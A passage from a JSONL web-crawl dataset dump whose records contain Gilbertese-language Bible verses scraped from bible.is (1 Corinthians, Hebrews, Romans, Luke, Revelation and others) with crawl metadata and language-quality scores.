0.999539852142334}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Taari, I aki tangiringkami bwa kam na aki atai aroni bwaai n tituaraoi ake mai iroun te Taamnei are e Raoiroi. 2 Kam ataingkami bwa ngke beekan ngkami ngkoa, ao kam kairaki nakoni bouananti aika a aki konaa n taetae. 3 Ma ngaia ae I kaotia nakoimi, bwa bon akea ae kairaki iroun Taamnein te Atua, ae e kaangai, Ke e reke kain Iesu. Ao akea ae e konaa ni kaangai, Te Uea Iesu; ma ti ngkana e kairaki iroun te Taamnei are e Raoiroi. 4 Ao a bati aekani bwaai n tituaraoi, ma ti temanna te Taamnei are e anga; 5 ao a bati aron nakoa, ma ti temanna te Uea ae e mwakuri te aba ibukina. 6 Ao a bati aaro ni mwakuri, ma ti temanna te Atua, ae ma mwakuri i nanoia aomata ni kabaneia ao E buokiia ni bwaai ni kabane aika a karaoi. 7 Ao a anganaki aomata nako te bae E karaoia te Taamnei bwa e na nooraki bwa e boongana. 8 Bwa e anganaki temanna ana mwakuri iroun te Taamnei bwa te tia taekina te rabakau, ao temanna bwa te tia taekina te atatai, iroun naba te Taamnei aei. 9 Ao e anganaki temanna te onimaki, iroun te Taamnei naba aei; ao temanna bwaai n tituaraoi ibukini katokan aoraki, iroun te Taamnei naba aei; 10 ao e anganaki temanna karaoani mwakuri aika a kamiimii, ao temanna te taetae ni buraabeti; ao temanna te konaa ni kinai kakaokoro i marenaia tamnei; ao temanna te konaa n taetae n taetae aika a aki ataaki nanoia, ao temanna te konaa ni kabwarabwarai nanoia. 11 Bon te Taamnei naba aei ae ti temanna ae e karaoi baikai ni kabane, n tibwatibwai nakoia aomata n tatabemaniia nako n ai aron nanona. 12 Kristo ai aron te rabwata ae ti teuana, ae a bati bwaina; ma e boni ngae ni bati bwaina, ma bon te rabwata ae ti teuana. 13 Bwa ti bane ni bwaabetitooaki nako nanon te rabwata ae ti teuana iroun te Taamnei ae ti temanna, ngaira aika I-Iutaia ma I-Erene, ma tooro ma inaomata; ao a bane n anganaki nanora te Taamnei ae ti temanna. 14 Bwa tiaki ti teuana bwain te rabwata, ma a bati bwaina. 15 Ngkana tao e kaangai te wae, Ngkai tiaki te bai ngai, ao tiaki bwain te rabwata ngai; ao tiaki nanona bwa e a riki naba iai bwa tiaki bwain te rabwata. 16 Ao ngkana tao e kaangai te taninga, Ngkai tiaki te mata ngai, ao tiaki bain te rabwata ngai; ao tiaki nanona bwa e a riki naba iai bwa tiaki bwain te rabwata. 17 Ngkana arona bwa te mata te rabwata ni kabanea, ao e ngaa te ongo? Ao ngkana te taninga te rabwata ni kabanea, ao e ngaa te aroboi? 18 Ma E a tia te Atua ni kabane bwain te rabwata n tatabeua nako ni kaaki n te rabwata, n ai aron nanona. 19 Ao ngkana arona bwa a bane bwain te rabwata n riki bwa bwaina ae ti teuana, ao e ngaa te rabwata? 20 Ma n arona ae ngkai: a bati bwaina, ma te rabwata bon ti teuana. 21 Ao e aki konaa ni kaangai te mata nakon te bai, I aki kainnanoiko; ke te atuu nakon te wae ni kaangai, I aki kainnanoingkami. 22 Ma moan te kai te nano ngkana akea bwain te rabwata aika a atongaki bwa a mamaara riki; 23 ao ti kabatiai riki karineani bwain te rabwata aika ti taku bwa a mangori, ao a mwaiti riki aron tararuaani bwain rabwatara aika a aki tau n te nooraki; 24 arora aikai, a aki kainnanoaki ibukini bwain te rabwata aika a tau aroia n te nooraki. Ma te Atua E a tia ni karaoa te rabwata n te aro are e na iai riki karineani bwaina are akea karineana, 25 bwa e kaawa n riki te bwenaua n te rabwata, ma a na i aakoakoi bwain nako te rabwata n te aro ae ti te arona nakoia n tatabeua nako. 26 Ngkana e maraki bwain te rabwata teuana, ao a bane naba ni maraki bwain nako te rabwata ma ngaia; ao ngkana e karineaki bwain te rabwata teuana, ao a bane bwain nako te rabwata ni kimwaareirei ma ngaia. 27 Rabwatani Kristo ngkami, ao bwain rabwatana ngkami n tatabemaningkami. 28 Ao E a tia te Atua ni kateia temwaangina i nanon te ekaretia: taan tuatua moa; te kauoua, buraabeti; te katenua, taan reirei; ao i mwiia, taani karaoi mwakuri aika a kamiimii; ao i mwiia, te koraki aika anganaki te bwai n tituaraoi ibukini katokan aoraki; ma taani buobuoki, ma taani kairiri, ma taan taetae n taetae aika a aki ataaki nanoia. 29 Taan tuatua aomata ni kabaneia? Buraabeti aomata ni kabaneia? Taan reirei aomata ni kabaneia? Taani karaoi mwakuri aika a kamiimii aomata ni kabaneia? 30 Iai irouia aomata nako bwaai n tituaraoi ibukini katokan aoraki? A bane aomata nako n taetae n taetae nako aika a aki ataaki nanoia, ao a konaa ni kabwarai nanoia? 31 Ma kam na tangiri riki bwaai n tituaraoi aika moani kakannato.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/12","date":"2013-05-22T12:30:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701670866\/warc\/CC-MAIN-20130516105430-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":820,"character_repetition_ratio":0.103,"word_repetition_ratio":0.02,"special_characters_ratio":0.232,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:22\n22 Ao ngkana I mwakuri i buakoia aika a mamaara n te onimaki, ao I riki n ai aroia ni mamaara, bwa a aonga n riki ni Kristian. I a tia n riki n aekaia aomata nako n aroia nako, ao I karaoi bwaai ni kabane aika I konai, bwa a aonga ni kamaiuaki temwaangina mai buakoia irou.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/22","date":"2013-05-21T14:45:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700107557\/warc\/CC-MAIN-20130516102827-00089-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":77,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:6\n6 Ma Kristo E kakaonimaki bwa te Nati Ngaia ae iai tabena i bukiia ana aomata te Atua. Bon ana aomata ngaira ngkana ti teimatoa ni karokoa te toki ni bwaina te aki-nanokokoraki ma te kakatonga n te baere ti kaantaningaia.Te Motirawa i bukiia Ana Aomata te Atua\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/6","date":"2013-05-21T21:48:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700626424\/warc\/CC-MAIN-20130516103706-00093-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999841452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999841451644897}","num_words":67,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 6:8\n8 Bwa ane e ira nanon rabwatana ao e na anaa mwiina ae te mate man te rabwata; ao ane e ira nanon te Taamnei, ao e na anaa mwiina ae te maiu are e aki toki mai iroun te Taamnei.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/6\/8","date":"2013-05-24T13:30:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704662229\/warc\/CC-MAIN-20130516114422-00003-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999654293,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999654293060303}","num_words":60,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:37\n37 Ngkana e taku temanna bwa te buraabeti ngaia, ke e taku bwa iai irouna te bwai n tituaraoi are mai iroun te Taamnei, ao ke e ataia bwa baika I koroi taekaia nakoimi bon te tua mai iroun te Uea;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/37","date":"2013-05-24T06:24:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704253666\/warc\/CC-MAIN-20130516113733-00017-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999902248382568}","num_words":60,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBETO 3:19\n19 bwa e aonga naba n iai iroumi te konaa n ataa tangirami irouni Kristo, are e aki konaaki n ataaki raoi arona, bwa a aonga ni kaonaki maiumi n anuan te Atua ni kabane.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3\/19","date":"2013-05-26T00:28:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706474776\/warc\/CC-MAIN-20130516121434-00017-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.999985218,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999852180480957}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:15\n15 ao waena ai aron taraan te buraati ae e raneanea ae e a tia ni kaburoaki ni kaitiakaki n te ai ae e ura mwaaka; ao bwanaana ai aroni karongoaani bwaron naao aika a bati,\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/15","date":"2013-06-19T03:28:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707440693\/warc\/CC-MAIN-20130516123040-00021-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000065565109253}","num_words":56,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:4\n4 ma ni maiuna n taamnei are e reitaki ma te Atua, ao E kaotia te Atua n te aro ae e mwaaka bwa bon Natina ngke E a manga kamaiua mai buakoia maate.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/4","date":"2013-05-20T08:05:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698554957\/warc\/CC-MAIN-20130516100234-00028-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999200106,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999200105667114}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:88Ao te Taamnei are e Raoiroi E kaota man aroni baikai ni baaireaki bwa e tuai n uki te kawai nako nanon te tabo are moanibaan te tabu, ngkae e bon teimatoa n tei te ru are te moa n ru. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/8","date":"2013-12-07T20:03:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055782\/warc\/CC-MAIN-20131204131735-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999905825,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999905824661255}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:1212ao bwa kam na katituaraoa te Tama, are e karaoingkami bwa kam na tau ni karekea tibwangami n te baere E a tia ni kaawakinna te Atua bwa aia bwai ana aomata aika a itiaki ake n te oota. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/12","date":"2013-12-13T11:02:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164931675\/warc\/CC-MAIN-20131204134851-00077-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000087022781372}","num_words":55,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:2323ao a onika te Atua ae e aki maamate ae e mimitong bwa te bouananti ae katootoongan te aomata ae maamate, ke maan aika a kibakiba, ke maan aika kakaeai waeia, ke maan aika a kawakawa. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/23","date":"2013-12-13T03:18:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164836485\/warc\/CC-MAIN-20131204134716-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999699593,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999699592590332}","num_words":52,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:1010are ti kamaiuaki irouna man te mate are moan te kakamaaku, ao E na boni manga kamaiuira naba maiai; ti a tia ni kawenea ara kaantaninga irouna bwa E na boni manga kamaiuira naba, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/10","date":"2013-12-12T23:28:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164754111\/warc\/CC-MAIN-20131204134554-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998219609,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998219609260559}","num_words":50,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:44Ao taraia naba kaibuke: a abwaabwaki ao a kabutaki n aang aika a korakora, ma a kaetaki ni kawaia n te bwe ae moan te uarereke nakon te tabo are e kani borau nako iai te tia taubwe. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/4","date":"2013-12-13T15:51:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164959491\/warc\/CC-MAIN-20131204134919-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000008225440979}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:88Ao n te bong are i mwiina, ti nako ao ti roko i Kaitareia; ti rin n ana auti Biribo are te tia tataekina te euangkerio, are temanna i buakoia uaake itiman ngkoa; ao ti tiku irouna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/8","date":"2013-12-12T06:51:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164566315\/warc\/CC-MAIN-20131204134246-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.999963522,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999635219573975}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:77ao ngaia, e kaeka mai nanon te auti ni kaangai, Tai nako mai n aki karaua matuu; e a in ngkai te mataroa, ao ae I a matuu ma natiu. I aki konaa n tei rake n anganiko te bae ko tangiria. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/7","date":"2013-12-11T05:51:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032040\/warc\/CC-MAIN-20131204133352-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998512268,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998512268066406}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 BETERO 3:44ma katamaaroaami ae e riai, bon te aomata ae raba ae e bwain te nano, ae katamaaroaami ae e aki konaa ni mka, ae te nano ae e nimamannei ae e rau, ae e kakaawaki i matan te Atua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3\/4","date":"2013-12-05T11:28:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163044331\/warc\/CC-MAIN-20131204131724-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.999980092,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.999980092048645}","num_words":55,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:1111ane e na roko mwaeiein te aba ae e korakora, ao a na roko roongo ma aoraki aika kamaamate n taabo tabeua; ao ane a na roko baika a kakamaaku ma kanikina aika abwaabwaki mai karawa. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/11","date":"2013-12-05T16:59:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046947\/warc\/CC-MAIN-20131204131726-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999670982,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999967098236084}","num_words":52,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:22Bwa e rangi ni korakora nanou n tauaninne iroumi n ai aroni korakoran nanon te Atua; ai aron te ateiaine ae e itiaki ngkami ae I kainroua ma te mwaane ae ti temanna, are boni Kristo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/2","date":"2013-12-13T00:27:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164770786\/warc\/CC-MAIN-20131204134610-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000000238418579}","num_words":52,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:2929Ngke a baneakina Iesu aomata aika mwaiti, ao E taku, Te roro aei bon te roro ae e buaakaka; a ukoukora te kanikina, ma akea ae a na anganaki, bwa ti te kanikina are e kaotia Iona. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/29","date":"2013-12-07T17:06:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054976\/warc\/CC-MAIN-20131204131734-00081-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999592304,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999592304229736}","num_words":53,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:1010Bwa ti kakorakoraira ni mwakuri ao ti kekeiaki mwaaka ibukina ngkai ti onimakina te Atua ae e maiu, ae aia Tia Kamaiu aomata ni kabaneia, ai moara riki te koraki aika a onimaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/10","date":"2013-12-06T04:32:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049486\/warc\/CC-MAIN-20131204131729-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999958276748657}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:4545Ao Biribo e kunea Natanaera ao e taku nakoina, E a reke iroura Teuare e koreaki taekana irouni Mote ni bokin te Tua ao irouia buraabeti: bon Iesu are te I-Natareta, are natin Iotebwa. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/45","date":"2013-12-08T11:35:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065206\/warc\/CC-MAIN-20131204131745-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998340011,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998340010643005}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:1717Ma E atai aia iango Iesu, ma ngaia are E taku nakoia, Te tautaeka ae e bwenaua nakoni mwakoro aika kakaokoro, ngkana a eekiia nako i bon irouia, ao e na aki tei maan te tautaeka anne. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/17","date":"2013-12-11T23:57:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164099123\/warc\/CC-MAIN-20131204133459-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998999834,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998999834060669}","num_words":53,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:11Ao I noora te man ae e tiritiri bwa e aerake mai tari: tengauni korona, ao itiua atuna, ao tebwina te baunuea i aoni korona, ao iai te ara ae te taeka ni bakanatua i atuuna nako. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/1","date":"2013-12-13T01:09:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164786099\/warc\/CC-MAIN-20131204134626-00099-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.999899745,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998997449874878}","num_words":54,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:1313Kam aki ataiia ake a kaakarao taromauri n te umwantabu bwa a karekei kanaia man te umwantabu, ao te koraki ake a karao taromauri n angakarea bwa iai tibwangaia ni baike a kareanaki? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/13","date":"2013-12-04T23:01:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037829\/warc\/CC-MAIN-20131204131717-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999947548,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999947547912598}","num_words":49,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 9:1616Bwa ngkana I tataekina te euangkerio, ao bon akea bukin ae N na kamoamoa iai, bwa I katabeaki iai bwa I bon riai n tataekinna. E na reke kaiu ngkana I aki tataekina te euangkerio! Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/16","date":"2013-12-12T04:13:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164452243\/warc\/CC-MAIN-20131204134052-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999876022,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999876022338867}","num_words":51,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 